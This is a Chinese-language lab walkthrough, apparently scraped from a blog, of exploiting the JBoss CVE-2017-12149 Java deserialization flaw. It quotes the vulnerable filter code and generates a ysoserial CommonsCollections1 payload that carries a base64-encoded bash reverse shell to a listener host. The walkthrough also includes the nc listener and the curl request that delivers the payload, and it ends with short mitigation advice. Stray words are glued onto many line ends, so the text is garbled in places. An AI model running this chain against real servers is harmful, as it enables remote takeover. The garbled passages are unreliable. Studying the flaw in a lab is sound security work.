CVE-2017-12149html
AC ED 00 05
序列化 FileOutputStream fos = new FileOutputStream(file); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(st); 反序列化 FileInputStream fis = new FileInputStream(file); ObjectInputStream ois = new ObjectInputStream(fis); Student st1 = (Student) ois.readObject();
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest httpRequest = (HttpServletRequest)request; Principal user = httpRequest.getUserPrincipal(); if ((user == null) && (this.readOnlyContext != null)) { ServletInputStream sis = request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(sis); MarshalledInvocation mi = null; try { mi = (MarshalledInvocation)ois.readObject(); } catch (ClassNotFoundException e) { throw new ServletException("Failed to read MarshalledInvocation", e); } request.setAttribute("MarshalledInvocation", mi); mi.setMethodMap(this.namingMethodMap); Method m = mi.getMethod(); if (m != null) { validateAccess(m, mi); } } chain.doFilter(request, response); }
直接從http中獲取數據,在沒有進行檢查或者過濾的狀況下,嘗試調用readobject()方法對數據流進行反序列操做,所以產生了Java反序列化漏洞。java
##實驗環境linux
操做機:kali linux 64位。git
java.lang.runtime.exec() payloads編碼 ##實驗工具github
ysoserial:是一款擁有多種不一樣利用庫的Java反序列化漏洞payload生成工具,能方便的生成命令執行Payload並序列化。本實驗主要使用生成Payload功能。web
Github: ysoserialshell
使用參考博客:java反序列化工具ysoserial分析 – angelwhu ##實驗步驟 ###Step:1 ysoserialbash
在終端輸入firefox http://172.16.12.2:8080
打開目標機jboss默認界面。以後進入漏洞頁面http://172.16.12.2:8080/invoker/readonly
。http響應碼500(內部服務器錯誤——服務器端的CGI、ASP、JSP等程序發生錯誤),分析猜測,此處服務器將用戶提交的POST內容進行了Java反序列化。
服務器
使用工具ysoserial來生成序列化數據,構造POC(Proof Of Concept)
,使用bash
反彈Shell
,nc
接受反彈回來的Shell
。curl
從github下載工具ysoserial
後,打開源代碼能看到在處理數據時使用了Runtime.getRuntime().exec(String cmd)
,此時調用Runtime.getRuntime().exec(String command, String[] envp, File dir)
,直接構造的字符串會被下面的代碼分割:
/** * Constructs a string tokenizer for the specified string. The * tokenizer uses the default delimiter set, which is * <code>" \t\n\r\f"</code>: the space character, * the tab character, the newline character, the carriage-return character, * and the form-feed character. Delimiter characters themselves will * not be treated as tokens. * * @param str a string to be parsed. * @exception NullPointerException if str is <CODE>null</CODE> */ public StringTokenizer(String str) { this(str, " \t\n\r\f", false); }
bash -c `bash -i >& /dev/tcp/127.0.0.1/21 0>&1`
bash -c `bash -i >& /dev/tcp/127.0.0.1/21 0>&1`
-此時須要進行編碼,編碼網站,勾選bash
。 注:Linux下的${IFS}也可進行編碼,${IFS}的hex值是0x20 0x09 0x0a,所以不被分割,能夠利用在寫shell時的命令中。須要注意是,${IFS}編碼後的命令中有空格,重定時,文件名中有空格會形成命令解析不完整,寫入文件會失敗。而在反彈shell命令中,就會致使模糊的重定向錯誤。 ###Step:2 構造生成Payload
java -jar ysoserial.jar [payload] '[command]'
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTEuMi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
nc -l -p 6666
。curl http://172.16.12.2:8080/invoker/readonly --data-binary @poc.ser
##漏洞建議:
http-invoker.sar
組件。http-invoker.sar
下 web.xml
的 security-constraint
標籤中:<url-pattern>/*</url-pattern>
用於對 http invoker
組件進行訪問控制。##參考資料